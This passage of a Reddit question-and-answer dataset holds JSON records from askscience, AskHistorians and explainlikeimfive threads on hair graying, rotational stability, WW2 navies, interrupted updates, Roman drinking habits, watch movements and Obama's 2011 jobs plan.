These pigment hair. The pigment in the skin also comes from melanocytes that migrate out of hair follicles. Your hair is gray if the melanocytes and melanocyte stem cells have low function. Your hair is white if they are dead. \n  \nThey die for a variety of reasons. To the best we understand them, these are cortisol, the skin immune response, and the catalase levels in the melanocyte. Cortisol causes melanocyte stem cells to differentiate into melanocytes, and leave no melanocyte stem cells behind. The cortisol is locally generated, and not necessarily in the blood. The skin, in its immune response, will generate hydrogen peroxide. This is toxic to melanocytes, but their natural defense is catalase, which disproportionates hydrogen peroxide into oxygen and water. However, catalase is used as it works, so if there is enough hydrogen peroxide in the skin the melanocyte (and stem cell) will die anyway.   \n  \nSo, knowing all this, back to your questions. It starts in the hair follicle. The melanocytes  (and their stem cells) are fighting their own battles in each follicle. Depending on the local cortisol and H2O2 levels, some will gray/whiten before others. There are plenty of half gray hairs in the world. However, body hair and facial hair cycles MUCH faster (6 weeks to a few months) compared to scalp hair (3-4 years). It is therefore harder to observe a half gray beard hair compared to a half gray scalp hair.  \n  \nThere are natural rises in cortisol levels and the immune response that occurs with aging. No one knows how to fully contain them, yet. ", "Hi, I'm a cosmetology student! \n\nThe hair follicle contains pigment cells called melanocytes. The melanocytes produce keratin, the chief protein in hair. When the keratin-producing cells (keratinocytes) die, they retain the color from the melanin. When you first start to go gray, the melanocytes are still present, but they become less active. Less pigment is deposited into the hair so it appears lighter. As graying progresses, the melanocytes die off until there aren't any cells left to produce the color.\n\nHair grows in stages, the active growing stage, the resting stage, and the shedding stage where it breaks off from the follicles and new hair begins to grow. Since the hair on your head is dead it won't chemically change on its own. Graying happens during active growing so hair has usually been shed before the gray pops up. \n\nRinged hair, or hair that is grey and colored at one time is a different hair disorder all together :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedaily.com/releases/2009/02/090223131123.htm"], ["http://www.ncbi.nlm.nih.gov/pubmed/23974581"], [], [], []]}
{"q_id": "i7z1h", "title": "Why are some axes rotationally stable but not others", "selftext": "A few of us in the lab have been thinking about this recently. Take something heavy and rectangular, like a box, and flip it in the air. Depending on the axis of rotation the box will either remain spinning in the same orientation, or move chaotically as it tries to realign itself. It seems that the axes that are stable are those with the largest and smallest moments of inertia. \n\nIf we think about conserving angular momentum, it makes sense that as the box slows down due to energy losses (say from air resistance, although looking on wikipedia this also appears to be true for satellites in space) then rotation will move to the orientation with the largest moment of inertia as L = I *omega, but I don't understand why the axis with smallest moment is also stable.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/i7z1h/why_are_some_axes_rotationally_stable_but_not/", "answers": {"a_id": ["c21mc05"], "score": [7], "text": ["Asking why is always a funny question, because it is the hardest to answer since you can always ask \"why?\" again.  I can describe the mathematics behind this phenomenon and if you believe the math, then you can put faith in the reason it happens.\n\nFirst, the moment of inertia of a rigid object around an origin is a tensor, essentially a 3x3 matrix composed of the the \"principle moments\" along the diagonal of the matrix and the \"product of inertia\" or \"mixed moments\" for the off-diagonal terms.  You can choose the alignment of your coordinate system in such a way that the moment of inertia tensor is diagonal, meaning it only has the 3 principle moments of inertia along three axes.  \n\nAssuming that the object's principle moments are of 3 different sizes: I1  >  I2  >  I3, then as you pointed out, rotation along the 2nd axis is unstable.  A rigid body rotating freely without external torques or force is described by [Euler's equations](_URL_0_).  Two conserved quantities can be derived from these equations: the total kinetic energy, T, and the total angular momentum, **L**.\n\nT = (I1 w1^2 + I2 w2^2 + I3 w3^2 )/2\n\n**L** = **I \u2022 w** \n\nWe can use push these conserved quantities together into another conserved quantity: 2 T I2 - |**L**|^2.  T, I2, and **L** are all constants as described above.  So if we spin the object around its 2nd axis (pointed along I2), then |**w**| ~ w2  >  0, and w1 = w3 ~ 0.  I set them approximately equal to zero so that we allow for perturbation.  Then the above conserved quantity becomes:\n\n2 T I2 - |**L**|^2 = I1 (I2 - I1) w1^2 + I3 (I2 - I3) w3^2 ~ 0 = constant\n\nWhen you look at this equation you will notice that the *first term is negative* since I1  >  I2, and the *second term is positive* since I2  >  I3.  This allows us to increase the rotation of w1 as long as we also increase the rotation of w3.  Essentially rotation of w2 is unstable because the motion can slip into w1 and w3 at the same time.\n\nIf you redo this argument with either 2 T I1 - |**L**|^2  or  2 T I3 - |**L**|^2, you get the first and second terms in the expansion are both positive or both negative, respectively.  Since you can't keep the equation constant while changing the other rotations, you are locked into your original rotations around w1 and w3 respectively."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Euler%27s_equations_%28rigid_body_dynamics%29"]]}
{"q_id": "chk0lr", "title": "In ww2, what were the power balances between navies?", "selftext": "I'll explain me better: US Navy was indeed the strongest, but what about Japanese and Royal Navy for example? Could Japan win a naval war againist UK or Italy?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/chk0lr/in_ww2_what_were_the_power_balances_between_navies/", "answers": {"a_id": ["ewxkfz6", "ewxkgns"], "score": [6, 3], "text": ["  This is very much a hypothetical question, and therefore doesn\u2019t really have a clear answer. There are a couple of significant qualifying elements. Firstly, when? The war is six years long and much changes. Secondly, how can you divorce the conjecture of relative strength from the strategic situations of the period? For example, how relevant is it to compare the Royal Navy of late 1939 with Japanese Navy of the same time? One is at war, the other will not be for 2 years. Likewise how relevant is it to compare the Japanese navy of late 41 with the Royal Navy of 41. The latter having been at war with two other powers for 2 years(ish)? Is it relevant to consider a war between Japan and Britain without considering the position of the naval powers? Are we talking in isolation or as part of the wider sequence of the war?\n\nAs of 1939 the Royal Navy was the largest and arguably the most powerful navy by quite some margin over any other naval power, including the US Navy. Much can be read and written regarding the merits and constraints of the interwar naval treaty system, yet I believe it is general historical consensus that Britain only agreed to parity with the US in name only. Throughout the 1920s the Royal Navy was significantly larger the US Navy and larger than Italy and Japan combined. The events of the early 1930s, especially the London Naval Treaty of 1930 altered this to varying degrees dependant on who you read. Simplistically Britain agreed to extend parity with the US to a greater extent than before, new German designs prompted the French to withdraw from system and start to build new ships prompting Italy to do the same. At the same time Japan began to systematically subvert the limitation system while still nominally a part of it. This provides a period of time between 1930 and some point in the mid 30s (some suggest as early as the Invasion of Manchuria and the establishment of the Defence Requirement Committee in 1933, others closer to 35\u2019) where France, Italy and Japan are modernising and rearming and Britain was not. After the collapse of the second London Treaty and the program of rearmament Britain builds at a rate to quickly restore those similar ratios by the 1939.\n\nThe British Parliamentary Command Papers (Cmnd) \u2018Fleets\u2019, produced every year for Parliament through a mixture of intelligence, open source information and official returns to the League of Nations and the signatories to the naval limitations treaties illustrate (a slightly incomplete \u2013 Some Japanese building is omitted through duplicity, specifically including Yamato/Musashi, which I have added back in) picture of strength up to Jan 1939 for Britain, France, Italy, Germany, Japan and the Soviet Union. It shows the continued numerical dominance of Britain over the US or Japan and Italy combined. What it does show is that total strength is less than Japan/Italy/Germany, and that French strength combined with Britain\u2019s is greater than the other 3. It also shows that of the most modern ships (those built in the last 10 years) the ratio is narrower, especially in Battleships. (Laid down by Jan 19: Britain 7, France 6, Germany 4, Italy 4, Japan 2, US 6). In contrast the most modern Cruisers and Carriers illustrate the large building programs of Britain, on paper at least retaining the ratios over Japan and Italy.\n\nHowever all this is just numbers, there have been books and books written on relative qualitative strength of ships, some of it excellent, some of it coffee-table war porn. There are so many relative differences in class of ships, function, design and cost that I personally don\u2019t focus too much on what unit was better than others as it tends to be appleVsoranges and mostly circumstantial and retrospective. BUT I think it is fair to say that ships designed and built in Britain in the 30s had a far greater collection of constraints put upon them than those of other navies. Britain was generally sticking to the rules of treaties closer than the others, generally with an eye to future peacetime use/cost/rules rather than definite war, and due to the slightly delayed nature of their rearmament, compromised on things that ideally they wouldn\u2019t have having been dealt a hypothetical hand free from financial, political, diplomatic and strategic constraints.\n\nIts worth noting that in wartime building no country other than the US built more than Britain. If you ignore losses (and this again is very hypothetical) Britain\u2019s numerical strength Vs Italy/Germany/Japan increases during the years. It is also important not to overestimate US naval strength until much later in the war. It is not until the vast programs of fleet, light and escort carriers, and a huge cruiser program begin to appear and be felt does the balance of naval strength decisively and dramatically swing. Im no expert on US navy, but I would guestimate this not until late 43, maybe even 44.\n\nIts also worth going back and talking about British interwar planning and expectations of war, especially with Japan and how that effected their planning and requirements. The \u2018One power Standard\u2019 has been written about extensively and generally is viewed by naval enthusiasts and naval older historians as some kind of evidence of British naval decline from a two power standard or even a three power standard. More recent work has illustrated just how flexible a concept of the \u2018One power standard\u2019 actually was. It changed and shifted over time to suit the political, financial, diplomatic and service realities. Simplistically in the early 20s it meant maintaining a healthy balance of power over the United States in aspects other than Battleships. As this became more unrealistic for a variety of reasons this moved to maintaining a standard against Japan. The standard is often misinterpreted to mean some kind of parity. When in practice it meant the ability to engage in an offensive war against One power while adequately maintaining peace against the rest. So the standard as applied to japan in the later 20s and early 30s was to conduct an offensive war against Japan while maintaining enough strength to match a second European power (assumed to be France or Italy). One of the aspects of the London Treaty that is much criticised by some naval historians is that it limited cruiser strength, one of the central pillars by which the Royal navy was to maintain superiority, and central to the trade based concepts of war with Japan. These war plans focus on the viability of Singapore as citadel to resist any initial Japanese attacks and then host a large build-up of naval forces before a mixture of trade warfare and fleet actions would bring about the conditions under which Japan could be loosely blockaded until they sued for peace. Far eastern war plans, Singapore, cruiser strengths etc and its impact on appeasement are still things that are debated today. They were much criticised at the time by people like Admiral Richmond, got absolutely pummelled in the initial historiography written in the 50s-70s, and now is being gradually re-examined and rehabilitated. Either way these various plans are predicated on 1) Singapore, 2) war with Japan alone, or possibly with another (France/Italy). I will leave Singapore out of this as that is a book in its own right. But simply the development of Singapore was never able to match requirements and there are some shaky strategic thinking regarding the whole concept. What is important to consider is that this was for an Offensive war against Japan. Once the situation of the 30s change the ratios and parameters this slowly shifts to a defensive one. Once German rearmament starts to focus British concerns Germany starts to become the \u2018Another\u2019 in a war with Japan. All well and good for Britain. But once the Abyssinian crisis of 35/36 and the Spanish Civil War put Italy firmly into the \u2018Another\u2019 camp as well then things become very difficult for Britain. No interwar planning (to my knowledge) had been based on the assumption of Italy/Japan/Germany even with French support.", "p2\n\nSo, finally back to your question. Britain had been fully expectant to fight Japan aggressively in the 20s and early 30s. The realignment of European adversaries change this to a defensive war. In 1940 Britain still had enough forces, with the French, to fight Japan, Italy and Germany (at least defensively until war production shifted the balance in their favour). What was unexpected, or at least unfortunate was the attrition of submarines and Airpower to their existent strength. Again, while airpower is a book in itself, I don\u2019t think anyone had quite grasped the extent of attrition aspects of airpower on navies. The Mediterranean was a grinder, not so much in ships lost, but in the constant sapping damage suffered by all ships, especially the major units. Early losses to U boats quickly altered slim ratios of forces. The loss of 2 fleet carriers before the fall of France has an impact on future operations. And do not underestimate the fall of France. Its also interesting to note that all of the various permutations of power standards and naval limitations do not attempt to control air power (perhaps obviously) so the balance of naval power as understood throughout the interwar period is artificial as it fails to account for airpower. They also barely account for submarines.\n\nLong story short. In the context of late 1941 Britain was in no position to successfully fight Japan, Germany and Italy on its own. It had never intended to, never planned for it, and with the loss of France and the realities of this war it was unlikely ever to be able to.  In this context, without the United States it is hard to imagine a scenario where Britain could fight an effective war against Japan after the loss of Singapore. If Singapore could have been held than maybe, eventually, years later. But that is entirely hypothetical, which I suppose is the point of your question. Hypothetically then I believe Britain would have been able to defeat Japan in isolation (defeat as in gain a commanding control of the sea eventually, not necessarily force a surrender). Airpower and logistics would have made it a much harder prospect than they planned for in the late 20s and it is harder to imagine how this would have looked like. With France, the prospects of facing Japan and Italy, long term is also good.\n\nThis is all guess work though. The reality is you cannot separate out these permutations. Britain had been prepared and probably capable (in the minds of the pre war estimation) of fighting Japan, but not in the context of the war as it was in late 1941.\n\nThere is a huge literature of the interwar navies, some useful ones focussing on the standards, policies and positions of Britain and the Royal Navy are:\n\nBell, Christopher M.  *At the Crossroads between Peace and War : The London Naval Conference in 1930*, edited by John H. Maurer and Christopher Bell. Annapolis, United States: Naval Institute Press, 2014.\n\n\u2014\u2014\u2014. \"\u2018How Are We Going to Make War?\u2019: Admiral Sir Herbert Richmond and British Far Eastern War Plans.\" *Journal of Strategic Studies* 20, no. 3 (1997/09/01 1997): 123-41.\n\n\u2014\u2014\u2014. *Royal Navy, Seapower and Strategy between the Wars.* Basingstoke, UNITED KINGDOM: Palgrave Macmillan Limited, 2000.\n\nFerris, John. *The Evolution of British Strategic Policy, 1919-26.* London: Macmillan Press, 1989.\n\nRoskill, Stephen. *Naval Policy between Wars. Volume I : The Period of Anglo-American Antagonism 1919-1929.* Barnsley: Seaforth Publishing, 2016.\n\n\u2014\u2014\u2014. *Naval Policy between Wars. Volume Ii : The Period of Reluctant Rearmament 1930-1939.* Barnsley: Seaforth Publishing, 2016."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "35tv3x", "title": "what happens if you turn off your computer midway through its update?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/35tv3x/eli5what_happens_if_you_turn_off_your_computer/", "answers": {"a_id": ["cr7pvki", "cr7qcux", "cr7qt67", "cr7s8pn", "cr7u9af", "cr7zh4x", "cr8ewcw"], "score": [5, 23, 17, 168, 2, 20, 3], "text": ["Depends on what part of the update it is doing at the time, what the update is, and obviously what kind of computer you have. ", "Like /u/burningrubber187 said, it depends on a lot of factors.\n\nBest thing that can happen is that the update fails to install correctly but no system critical files were being altered at the time of the interruption. In which case your updater will likely do a roll-back and try to apply the update next time.\n\nWorst case, it was busy altering/replacing a or several system-critical files. The next time you try to start the computer it will not be able to boot properly and will require you to run a recovery program to repair the damage or reinstall the OS entirely.", "It's like playing Russian roulette with it's start up files...go ahead and try it six times in a row. ", "Most likely nothing. Microsoft makes a backup of the state before an update. When an update finishes and Windows starts in a stable state, it marks it as 'done'.  If your computer crashes during an update, the next time it restarts it detects the update didn't finish and rolls back to the backed up state.\n\nObviously this doesn't work if files critical to Windows starting are changed, but updates to these are very rare. 99% of the updates you get are for auxiliary systems.\n\nSource: It's happened to me several times (power outages during updates). Never an issue.", "I've done this loads off times, and nothing has happened.\n\nMost updates aren't changing sensitive files that are important(to the usage of the operating) so it won't really affect any thing but on the off chance it odes , you're screwed.\n\nEDIT:Like /u/xantub said Windows makes a backup of your state.\n", "The electrons will stop in mid quantum shift causing the universe to fold in on it self creating a singularity that could unmake reality.\n", "Imagine your computer as a giant library. In the library are books with instructions that to you how to do things, such as open a file, or draw an image on the screen or talk to another computer halfway around the world.\n\nThese books are not prefect and every so often, the publisher publisher puts out new editions. When your computer is being updated, it is putting the new editions into the library and removing the old books.\n\nNow, cutting of the power to the your computer is like turning off the lights in the library without warning. Most of the time, there isn't going to be a problem, and all the books will be where they are suppose to be. Sometimes however, since books are being moved around during the update process, if you turn off the lights an old book will be removed without the new edition being replaced, meaning that you've made your computer forget how to do something. If it's something that isn't important, you probably won't notice for quite sometime but it can also be key important books that tell your computer how to simple basic things, making it stop working immediately."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "3s9rlc", "title": "Is the Montreal plan to dump sewage into the St-Lawrence river actually that bad for the environment or is opposition to it just people trying to get environmental brownie points?", "selftext": "[Link to article in case people aren't sure what I'm talking about](_URL_0_)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3s9rlc/is_the_montreal_plan_to_dump_sewage_into_the/", "answers": {"a_id": ["cwvczlq", "cwvkb07", "cwvopjb", "cwvp60b"], "score": [41, 13, 11, 6], "text": ["Outside of my field off expertise, but just to get things started, here is an article from 3 days ago where a researcher comments on the whole thing (_URL_0_) - since it is in french, I'll get out a few of the highlights:\n\nThe \"sewage dump\" is the equivalent of 0,5% of the flow in the river;\n\nThis event is \"business as usual\" and should be no worse than what the river has to deal with day-in/day-out;\n\nThe plume will go through an extensive network of marshes in the Bourcherville area which will act as a natural filter;\n\nThere remains a valid question as to what will happen to large unfiltered objects;", "Can't speak to the situation in Montreal, but dumping raw sewage into rivers is a pretty common issue in larger cities with older sewer systems. The sewer lines (sanitary sewer) are where the water goes when you flush your toilet/run your sink/where any water goes down a drain. This water flows to a treatment facility where it is treated (cleaned). The problem occurs during storm events where water can infiltrate into these older sanitary sewer lines or is (illegally) piped from downspouts into sanitary sewer pipes. The treatment facility cannot handle this drastic increase in flow and the excess mix of sewage and storm water has to be deposited into a nearby stream. \nDEP has already begun a plan to fix these lines, but it is a very large scale project. So dumping sewage into the river is a dangerous health issue for aquatic life and civilian health, but it is also a rather common issue.\n", "A lot of people are ignoring the fact the City of Montreal is building a $100 million dollar waste-water facility to treat their sewage. This will be the largest treatment plant using ozone (O3) to break down hormones and other things affecting the wildlife in the area. It will be online in 2018. As a past Montreal resident, I have toured the current facility and it's pretty cool! If there was a feasible plan to dispose of the water properly, I'm sure the various conservation authorities would have tried to block it from happening if there would be significant impacts. As my bioremediation prof said: \"Remember the 3 D's - Dilute, Dilute and Dilute!\". The St. Lawrence is huge and over a month, the amount that has biodegraded due to microorganisms and diluted makes the waste water amount insignificant. Heavy metals are the real concern so I hope that they cognizant of those toxic metals. \n\nThe one-off dump will likely not affect the wildlife in any respect. As for the sensationalist beluga whale argument.. they DO NOT breed in and around Montreal. Tadoussac area (IIRC 600 km away) is where they are resident. Absolute garbage article. \n ", "So [according to the professors from the Polytechnique engineering school, the dump is no big deal.](_URL_0_)\n\nIts  total volume is 0.5% of the river's flow, so the dilution factor alone lets us breathe easier. This means if you released it all in one second, the \"clean\" river would still dwarf the waste. The experts also raise the issue that most of the chemical/pharmaceutical/hormonal contaminants are not usually treated anyway, so no biggie. \n\n\nOn the topic of large objects, they theorize they will sin at the bottom close to the release point, so they shouldn't cause a problem downstream."]}, "title_urls": [], "selftext_urls": ["http://www.nytimes.com/aponline/2015/11/09/world/ap-cn-canada-sewage-dumping-river.html?ref=aponline&amp;mtrref=www.nytimes.com&amp;_r=0"], "answers_urls": [["http://www.lapresse.ca/le-nouvelliste/actualites/environnement/201510/07/01-4907728-deversement-deaux-usees-a-montreal-luqtr-va-etudier-les-effets.php"], [], [], ["http://www.polymtl.ca/salle-de-presse/en/news/position-polytechnique-experts-planned-discharge-wastewater-city-montreals-southeast-interceptor"]]}
{"q_id": "1hhvv3", "title": "Did the Ancient Romans have their own version of a \"cup of coffee\"? by which I mean a mild stimulant they would have used on a daily basis", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1hhvv3/did_the_ancient_romans_have_their_own_version_of/", "answers": {"a_id": ["cauhl7t", "caulple", "caum4vk", "caurfsj"], "score": [1125, 57, 22, 8], "text": ["This is an interesting question and had an even more interesting answer.\n\nAt first I was sure the answer was no. I've never come across any examples of Romans drinking something akin to tea or coffee. What the Romans did drink quite often was wine, but alas alcohol isn't really a stimulant right? \n\nTurns out in small doses alcohol acts as a stimulant and then eventually as a depressant. Which actually fits nicely in the day of the life of a late Republic/early empire ( thanks u/rj20876) Roman. Around this time, poorer Romans could take advantage of the grain dole. The state would give out grain either for free or at a significantly lower than market price. This also included a wine concentrate, which is basically wine with a higher than standard alcohol content. It wasn't unheard of for Romans to start drinking in the morning, but they would cut this wine concentrate with 2 parts water or 4 parts water etc. So throughout the day the Romans would be sipping on water wine which gave them enough energy to go about their business.\n\nNow this doesn't seems that effective because you would just be pushing this depressant effects back all day until they built up into a late night hangover. This also plays a nice part in their daily life. Rome had no way of lighting up the streets and despite the engineering prowess of the Romans, Rome itself was a maze. So nearly everyone would make their way back home before the sunset unless you wanted to spend a long night sleeping on the ground. \n\nSo a Roman would wake up, sip water wine all day, and as the effects compiled it would be just around sunset allowing them to sleep until sunrise.", "What I understand to be the main Roman condiment for centuries was not a stimulant per se but definitely caused cravings: [Garum](_URL_1_)\n\nThis fish sauce contained a lot of glutamic acid ([MSG](_URL_0_)) which can make a user crave it. So much so that prices for some garum were incredibly expensive which didn't seem to impair people's buying and using it.", "On a related note, I've heard the timing of the Italian renaissance corresponded roughly with the fashionability of drinking tea in leiu of alcoholic beverages. As a corallary, the American golden age happened about the same time as the popularity of coffee overtaking tea.\n\nUnfortunately I can't remember who pioneered this theory. Any help would be appreciated.", "Coincidentally related, is Sapa and Defrutum (_URL_0_), which is grape juice or 'must' boiled in lead containers, wherein the reduction and lead would act as a sweetener.  There are many unproven theories that this practice contributed to the downfall of Rome through illness, but this is, again, unproven, and highly-criticized. However, this sweet, boiled juice was at least moderately popular in the kingdom, if a bit unusual by modern health standards. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Monosodium_glutamate", "https://en.wikipedia.org/wiki/Garum"], [], ["http://en.m.wikipedia.org/wiki/Defrutum"]]}
{"q_id": "803sgz", "title": "what are watch movements? what is the difference between them, for example, between swiss and japanese movement?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/803sgz/eli5_what_are_watch_movements_what_is_the/", "answers": {"a_id": ["dusrxz5"], "score": [3], "text": ["The watch movement is the mechanical part inside of the watch that makes it work - so it contains all of the parts to regulate the time accurately and move the hands.\n\nThe two main types of movements are mechanical and quartz movements;\n\nMechanical movements use 'old fashioned' clockwork to run the watch - a spring is wound up to store power, which then moves a series of gears and other parts to move the hands at the appropriate speed. \nYou will often heard these called automatic movements - this is a type of mechanical movement that uses a small weight that swings around as you move the watch to automatically wind up the spring for you. Some watches are also available that use hand wound movements where you wind up the spring yourself.\n\nA quartz movement is one that uses electronics to work the watch - a small quartz crystal vibrates at a set speed when it is powered, so the watch can use this to count the time accurately. The signal from this can then be used to run a small motor to move the hands of an analogy watch, or be used to work the display of a digital watch.\n\nSwiss and Japanese movements just refer to the country of manufacture - the traditional watchmaking industry developed in Switzerland, which is where many of the most famous brands are from so being 'swiss made' carries some prestige. Japanese manufacturing took off a lot later, and initially often took the route of undercutting western production on price so got the reputation of being cheaper and not of the same quality (the same as the Japanese cars of the 1970's). Nowadays however they make some world class watches (for example there are high end Seiko models that easily compete with brands like Rolex), only they have never quite gotten past the barrier of not being 'swiss made' in the eyes of many."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "hyx8c", "title": "Are the rare elements on earth proportionately rare throughout the solar system and universe?", "selftext": "Speaking of things like gold, platinum, osmium, rhodium, etc.  For instance, would any given moon of Jupiter have the same proportions as Earth?\n\nIf the distribution is uneven, why?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hyx8c/are_the_rare_elements_on_earth_proportionately/", "answers": {"a_id": ["c1zitk6", "c1zjkyt"], "score": [26, 6], "text": ["Pretty much actually. Any element heavier than iron can only be forged in a supernova explosion. And factor in decays of some elements that you lose, and gain a few more as stable decay products, yeah pretty much even throughout the universe. That being said, some elements are more rock-friendly and they're up in the crust, while others are more metal-friendly and down in the core of the earth, so that's a factor too, but one we'd expect to be present on any rocky planet like earth.", "Not really my field, but hey, I don't see any astronomers running around yet!\n\nIf you are taking about the proportion of mass that are rare elements, the rocky planets will have an overwhelmingly large rare elements to mass ratio. This is because most of the mass of the gas giants are gasses and liquefied/solidified light components.\n\nThe reason why we have rocky planets close to the sun is unclear to me. Wikipedia says that the sun's early solar wind blew it away, but that seems strange considering the abundance of \"hot jupiter\" type planets in other solar systems.\n\nTo answer your question more directly, the reason why the planets would have similar compositions is because we formed from the same interstellar cloud. The interstellar cloud is made up of very very very tiny grains of material and gas. In the protosolar disk, all these particles would be mixed up to create a presumably more homogeneous mixture. The differences between planets would start occurring during the formation of the early planets. These early planets would chemically differentiate (nothing complicated, mostly sorting by density: heavy stuff in core, light stuff on outside) and begin to enrich certain elements in certain places."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "x99g4", "title": "Can overweight people that partake in the use of marijuana get high from stored cannabinoids while working out?", "selftext": "I feel like we've all seen a similar story before, but recently on Reddit I saw a claim in which someone said that their overweight friend gets a buzz while working out because the fat that the cannabinoids are stored in is burned and they are released back into the blood stream.\n\nI was always under the impression that cannabinoids stored in fat were \"converted\" (not sure if that's really the right word to use there) to a non-psychoactive form - making the above impossible.\n\nI'm sorry if the question is worded poorly, if you need further clarification just mention so.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x99g4/can_overweight_people_that_partake_in_the_use_of/", "answers": {"a_id": ["c5kccc0", "c5kches", "c5kg2rn", "c5kgsuz", "c5kj2nt", "c5kqg3y"], "score": [12, 35, 4, 2, 2, 2], "text": ["Im fairly certain the answer is no. The cannabinoids stored in the fatty tissues of the body are inert forms of THC. So once your body metabolizes the THC it loses its psychoactive effects. ", "Studies in rats (never been shown in humans) did suggest that over the short term fat metabolism (from dietary restriction) may increase readings of THC, however the manner in which it is stored is not psychoactive, so no.", "THC mimics anandamides. This means that, when they are causing psychoactive effects, they are binding to a specific type of receptor in the brain (mostly in the hypothalamus, if I recall correctly), and once they have been broken down by your body, they have become \"metabolized.\"\n\nDrug tests test for the metabolites. If it is true that the metabolites are stored in your fat, then you burn that fat, releasing the metabolites, they no longer have the same chemical structure that allowed them to bind to your anadamine receptors, therefore lacking the capacity to produce any obvious psychoactive effects.\n\nCannabinoids have other effects, though, but I would venture to guess that it would require a massive (likely impossible) amount of consumption combined with a massive (likely impossible) amount of exercise to burn enough fat to release it back into your system to have any kind of noticeable effect... particularly if you are a heavy user (which you would have to be in order to achieve that state in the first place).", "So it works differently in the body then?  The most common way of not smoking marijuana is to cook it in fats (butter, milk, etc) until enough leeches out of the leaves into the butter.  the butter is psychoactive, but if it's not when stored as fat in the body, it seems it must have been converted somehow away from being THC ...", "It is my understanding that THC itself is not stored in fat cells.  What is stored in the fat cells is what the THC is metabolized/broken down into by the body. ", "What about in your hair? Could smoking enough hair get you high? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3c4wz9", "title": "Did ancient Carthage use flags/banners in the same way as ancient Rome? If yes, which symbols did they use?", "selftext": "Additional question what were the symbols of Barcid dynasty/family?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3c4wz9/did_ancient_carthage_use_flagsbanners_in_the_same/", "answers": {"a_id": ["cssaj3r", "cssg53k"], "score": [2, 9], "text": ["In what way did rome use flags and banners ?", "Perhaps you might clarify what you have in mind about Roman flags/banners? The Romans did use military standards (*vexilla*) but otherwise had no \"national flag\" (which is essentially a modern phenomenon).\n\nFor the Carthaginians, we find depictions of what are apparently naval standards on a third-century (?) stele ([see here](_URL_0_)) and on various coins from the fifth to third centuries. A modern reconstruction is reproduced on the front cover of J. F. Lazenby's [*Hannibal's War*](_URL_1_) (Norman: University of Oklahoma Press, 1978); somewhat misleadingly, the image shows a cavalryman carrying the standard. In addition, according to the first-century A.D. writer Frontinus, Marcus Porcius Cato once used standards (*insignes*) captured from Carthaginian ships in an act of military subterfuge (*Strategamata* 4.7.12). \n\nI am unaware of any evidence that the Barcids possessed their own symbols or standards.\n\nHope this helps! :)\n\nSources and further reading:\nColette Picard, \"Th\u00e8mes hell\u00e9nistiques sur les st\u00e8les de Carthage,\" *Antiquit\u00e9s Africaines* 1 (1967): 9-30 (photo of the stele on pl. X); Louis Rawlings, \"The Carthaginian Navy: Questions and Assumptions,\" in *New Perspectives on Ancient Warfare*, ed. Garret G. Fagan and Matthew Trundle (Leiden and Boston: Brill, 2010), 253-87 (esp. 281)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/3DSwKYa.jpg/", "http://www.amazon.com/Hannibal%C2%92s-War-Military-History-Second/dp/0806130040/"]]}
{"q_id": "k9ggy", "title": "obama's new job plan", "selftext": "I dont understand what he wants to do or is \"trying\" to do, but apparently he came up with a good plan according to how much news coverage it is getting.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/k9ggy/eli5_obamas_new_job_plan/", "answers": {"a_id": ["c2ihsax", "c2iia99", "c2ikl8y", "c2ikwa7", "c2ims2h", "c2ihsax", "c2iia99", "c2ikl8y", "c2ikwa7", "c2ims2h"], "score": [26, 40, 2, 2, 11, 26, 40, 2, 2, 11], "text": ["He wants to pay small businesses to hire people especially veterans and people unemployed for more than 6 months.\n\nHe wants to build/repair infrastructure including high speed rail, bridges, and major highways, thus creating jobs.\n\nHe wants to pay small businesses to raise salaries.\n\nHe wants to pay for this with cuts over the next year that he and congress find including what he has been saying, reforming tax code to make the rich pay more and also slightly overhaul medicare/medicaid.", "Any major speech like this would get a lot of coverage because the economy is a big issue right now.  The country had zero job growth in the month of August so we're hanging on the cusp of dipping into another recession.     I copied these points from [here](_URL_0_), if I have more time I will flesh them out.  Obama's goal was to come up with a plan that would appeal to both parties so the plan would get passed.  That's why you heard him say several times, \"Republicans already suggested this\" or \"Elements of this part of the plan already work in such and such Republican state.\"  That also means that Democrats will be disappointed that the plan isn't progressive enough.\n\nSo basically, no one will be super happy with Obama's suggestions about the bill because neither party got everything they wanted, but as long as the plan passes, the economy will be better off.  This plan still has to be debated in both houses of Congress (where lots of amendments will be made), passed by both houses of Congress, and then signed by President Obama to become law.\n\n\n\n1) Payroll tax cut. The central item is the payroll tax extension and expansion. Let's explain that. Normally, you would pay 6.2 percent of your wages in taxes. In 2011, you paid only 4.2 percent, thanks to a compromise reached in December. But in 2012, according to the president's plan, you would pay a tax on only 3.2 percent of your wages. That comes out to nearly a 50 percent tax cut on work, worth about $1,500 per year for a typical worker.\n\n\n2) Incentives to hire. The president: \"Small businesses will get a tax cut if they hire new workers or raise workers' wages. It's a fine idea, but not revolutionary.\" Passed in 2010, the HIRE Act already gave tax breaks to businesses who hired previously unemployed workers \n\n3) A tax credit to hire the long-term unemployed. The president: \"Pass this jobs bill, and companies will get a $4,000 tax credit if they hire anyone who has spent more than six months looking for a job.\"\n\n4) 